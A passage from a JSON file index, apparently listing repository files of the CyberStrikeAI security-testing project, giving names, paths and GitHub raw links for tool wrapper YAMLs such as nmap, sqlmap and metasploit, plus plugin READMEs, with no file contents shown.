GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/graphql-scanner.yaml)","tokens":300,"sizeBytes":168},{"name":"hashcat.yaml","path":"tools/hashcat.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/hashcat.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/hashcat.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/hashcat.yaml)","tokens":300,"sizeBytes":152},{"name":"hashpump.yaml","path":"tools/hashpump.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/hashpump.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/hashpump.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/hashpump.yaml)","tokens":300,"sizeBytes":154},{"name":"http-framework-test.yaml","path":"tools/http-framework-test.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/http-framework-test.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/http-framework-test.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/http-framework-test.yaml)","tokens":300,"sizeBytes":176},{"name":"hydra.yaml","path":"tools/hydra.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/hydra.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/hydra.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/hydra.yaml)","tokens":300,"sizeBytes":148},{"name":"impacket.yaml","path":"tools/impacket.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/impacket.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/impacket.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/impacket.yaml)","tokens":300,"sizeBytes":154},{"name":"install-python-package.yaml","path":"tools/install-python-package.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/install-python-package.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/install-python-package.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/install-python-package.yaml)","tokens":300,"sizeBytes":182},{"name":"jaeles.yaml","path":"tools/jaeles.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/jaeles.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/jaeles.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/jaeles.yaml)","tokens":300,"sizeBytes":150},{"name":"john.yaml","path":"tools/john.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/john.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/john.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/john.yaml)","tokens":300,"sizeBytes":146},{"name":"jwt-analyzer.yaml","path":"tools/jwt-analyzer.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/jwt-analyzer.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/jwt-analyzer.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/jwt-analyzer.yaml)","tokens":300,"sizeBytes":162},{"name":"katana.yaml","path":"tools/katana.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/katana.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/katana.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/katana.yaml)","tokens":300,"sizeBytes":150},{"name":"kube-bench.yaml","path":"tools/kube-bench.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/kube-bench.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/kube-bench.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/kube-bench.yaml)","tokens":300,"sizeBytes":158},{"name":"kube-hunter.yaml","path":"tools/kube-hunter.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/kube-hunter.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/kube-hunter.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/kube-hunter.yaml)","tokens":300,"sizeBytes":160},{"name":"libc-database.yaml","path":"tools/libc-database.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/libc-database.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/libc-database.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/libc-database.yaml)","tokens":300,"sizeBytes":164},{"name":"lightx.yaml","path":"tools/lightx.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/lightx.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/lightx.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/lightx.yaml)","tokens":300,"sizeBytes":150},{"name":"linpeas.yaml","path":"tools/linpeas.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/linpeas.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/linpeas.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/linpeas.yaml)","tokens":300,"sizeBytes":152},{"name":"masscan.yaml","path":"tools/masscan.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/masscan.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/masscan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/masscan.yaml)","tokens":300,"sizeBytes":152},{"name":"metasploit.yaml","path":"tools/metasploit.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/metasploit.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/metasploit.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/metasploit.yaml)","tokens":300,"sizeBytes":158},{"name":"msfvenom.yaml","path":"tools/msfvenom.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/msfvenom.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/msfvenom.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/msfvenom.yaml)","tokens":300,"sizeBytes":154},{"name":"nbtscan.yaml","path":"tools/nbtscan.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/nbtscan.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/nbtscan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/nbtscan.yaml)","tokens":300,"sizeBytes":152},{"name":"netexec.yaml","path":"tools/netexec.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/netexec.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/netexec.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/netexec.yaml)","tokens":300,"sizeBytes":152},{"name":"nikto.yaml","path":"tools/nikto.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/nikto.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/nikto.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/nikto.yaml)","tokens":300,"sizeBytes":148},{"name":"nmap.yaml","path":"tools/nmap.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/nmap.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/nmap.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/nmap.yaml)","tokens":300,"sizeBytes":146},{"name":"nuclei.yaml","path":"tools/nuclei.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/nuclei.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/nuclei.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/nuclei.yaml)","tokens":300,"sizeBytes":150},{"name":"objdump.yaml","path":"tools/objdump.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/objdump.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/objdump.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/objdump.yaml)","tokens":300,"sizeBytes":152},{"name":"one-gadget.yaml","path":"tools/one-gadget.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/one-gadget.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/one-gadget.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/one-gadget.yaml)","tokens":300,"sizeBytes":158},{"name":"pacu.yaml","path":"tools/pacu.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/pacu.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/pacu.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/pacu.yaml)","tokens":300,"sizeBytes":146},{"name":"paramspider.yaml","path":"tools/paramspider.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/paramspider.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/paramspider.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/paramspider.yaml)","tokens":300,"sizeBytes":160},{"name":"prowler.yaml","path":"tools/prowler.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/prowler.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/prowler.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/prowler.yaml)","tokens":300,"sizeBytes":152},{"name":"pwninit.yaml","path":"tools/pwninit.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/pwninit.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/pwninit.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/pwninit.yaml)","tokens":300,"sizeBytes":152},{"name":"pwntools.yaml","path":"tools/pwntools.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/pwntools.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/pwntools.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/pwntools.yaml)","tokens":300,"sizeBytes":154},{"name":"quake_search.yaml","path":"tools/quake_search.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/quake_search.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/quake_search.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/quake_search.yaml)","tokens":300,"sizeBytes":162},{"name":"query-execution-result.yaml","path":"tools/query-execution-result.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/query-execution-result.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/query-execution-result.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/query-execution-result.yaml)","tokens":300,"sizeBytes":182},{"name":"radare2.yaml","path":"tools/radare2.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/radare2.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/radare2.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/radare2.yaml)","tokens":300,"sizeBytes":152},{"name":"README_EN.md","path":"tools/README_EN.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/README_EN.md","title":"Tools Skill","category":"anthropic-skill","format":"markdown","content":"# Tools Skill\n\nPath: `tools/README_EN.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/README_EN.md)","tokens":300,"sizeBytes":152},{"name":"responder.yaml","path":"tools/responder.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/responder.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/responder.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/responder.yaml)","tokens":300,"sizeBytes":156},{"name":"ropgadget.yaml","path":"tools/ropgadget.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/ropgadget.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/ropgadget.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/ropgadget.yaml)","tokens":300,"sizeBytes":156},{"name":"ropper.yaml","path":"tools/ropper.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/ropper.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/ropper.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/ropper.yaml)","tokens":300,"sizeBytes":150},{"name":"rpcclient.yaml","path":"tools/rpcclient.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/rpcclient.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/rpcclient.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/rpcclient.yaml)","tokens":300,"sizeBytes":156},{"name":"rustscan.yaml","path":"tools/rustscan.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/rustscan.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/rustscan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/rustscan.yaml)","tokens":300,"sizeBytes":154},{"name":"scout-suite.yaml","path":"tools/scout-suite.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/scout-suite.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/scout-suite.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/scout-suite.yaml)","tokens":300,"sizeBytes":160},{"name":"shodan_search.yaml","path":"tools/shodan_search.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/shodan_search.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/shodan_search.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/shodan_search.yaml)","tokens":300,"sizeBytes":164},{"name":"smbmap.yaml","path":"tools/smbmap.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/smbmap.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/smbmap.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/smbmap.yaml)","tokens":300,"sizeBytes":150},{"name":"sqlmap.yaml","path":"tools/sqlmap.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/sqlmap.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/sqlmap.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/sqlmap.yaml)","tokens":300,"sizeBytes":150},{"name":"steghide.yaml","path":"tools/steghide.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/steghide.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/steghide.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/steghide.yaml)","tokens":300,"sizeBytes":154},{"name":"strings.yaml","path":"tools/strings.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/strings.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/strings.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/strings.yaml)","tokens":300,"sizeBytes":152},{"name":"subfinder.yaml","path":"tools/subfinder.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/subfinder.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/subfinder.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/subfinder.yaml)","tokens":300,"sizeBytes":156},{"name":"terrascan.yaml","path":"tools/terrascan.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/terrascan.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/terrascan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/terrascan.yaml)","tokens":300,"sizeBytes":156},{"name":"trivy.yaml","path":"tools/trivy.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/trivy.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/trivy.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/trivy.yaml)","tokens":300,"sizeBytes":148},{"name":"virustotal_search.yaml","path":"tools/virustotal_search.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/virustotal_search.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/virustotal_search.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/virustotal_search.yaml)","tokens":300,"sizeBytes":172},{"name":"volatility3.yaml","path":"tools/volatility3.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/volatility3.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/volatility3.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/volatility3.yaml)","tokens":300,"sizeBytes":160},{"name":"wafw00f.yaml","path":"tools/wafw00f.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/wafw00f.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/wafw00f.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/wafw00f.yaml)","tokens":300,"sizeBytes":152},{"name":"waybackurls.yaml","path":"tools/waybackurls.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/waybackurls.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/waybackurls.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/waybackurls.yaml)","tokens":300,"sizeBytes":160},{"name":"wpscan.yaml","path":"tools/wpscan.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/wpscan.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/wpscan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/wpscan.yaml)","tokens":300,"sizeBytes":150},{"name":"x8.yaml","path":"tools/x8.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/x8.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/x8.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/x8.yaml)","tokens":300,"sizeBytes":142},{"name":"xsser.yaml","path":"tools/xsser.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/xsser.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/xsser.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/xsser.yaml)","tokens":300,"sizeBytes":148},{"name":"xxd.yaml","path":"tools/xxd.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/xxd.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/xxd.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/xxd.yaml)","tokens":300,"sizeBytes":144},{"name":"zap.yaml","path":"tools/zap.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/zap.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/zap.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/zap.yaml)","tokens":300,"sizeBytes":144},{"name":"zoomeye_search.yaml","path":"tools/zoomeye_search.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/zoomeye_search.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/zoomeye_search.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/zoomeye_search.yaml)","tokens":300,"sizeBytes":166},{"name":"zsteg.yaml","path":"tools/zsteg.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/zsteg.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/zsteg.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/zsteg.yaml)","tokens":300,"sizeBytes":148},{"name":"README.md","path":"plugins/browser-extension/cyberstrikeai-browser-extension/README.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/browser-extension/cyberstrikeai-browser-extension/README.md","title":"cyberstrikeai-browser-extension Documentation","category":"plugin-manifest","format":"markdown","content":"# cyberstrikeai-browser-extension Documentation\n\nPath: `plugins/browser-extension/cyberstrikeai-browser-extension/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/browser-extension/cyberstrikeai-browser-extension/README.md)","tokens":300,"sizeBytes":284},{"name":"README.md","path":"plugins/burp-suite/cyberstrikeai-burp-extension/README.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/burp-suite/cyberstrikeai-burp-extension/README.md","title":"cyberstrikeai-burp-extension Documentation","category":"plugin-manifest","format":"markdown","content":"# cyberstrikeai-burp-extension Documentation\n\nPath: `plugins/burp-suite/cyberstrikeai-burp-extension/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/burp-suite/cyberstrikeai-burp-extension/README.md)","tokens":300,"sizeBytes":261},{"name":"README.md","path":"plugins/README.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/README.md","title":"plugins Documentation","category":"plugin-manifest","format":"markdown","content":"# plugins Documentation\n\nPath: `plugins/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/README.md)","tokens":300,"sizeBytes":160},{"name":"README.md","path":"tools/README.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/README.md","title":"tools Documentation","category":"plugin-manifest","format":"markdown","content":"# tools Documentation\n\nPath: `tools/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/README.md)","tokens":300,"sizeBytes":154},{"name":"attack-surface-enumeration.md","path":"agents/attack-surface-enumeration.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/attack-surface-enumeration.md","title":"Subagent: attack-surface-enumeration","category":"subagent-persona","format":"markdown","content":"# Subagent: attack-surface-enumeration\n\nPath: `agents/attack-surface-enumeration.md`\n\n[View Raw Content on 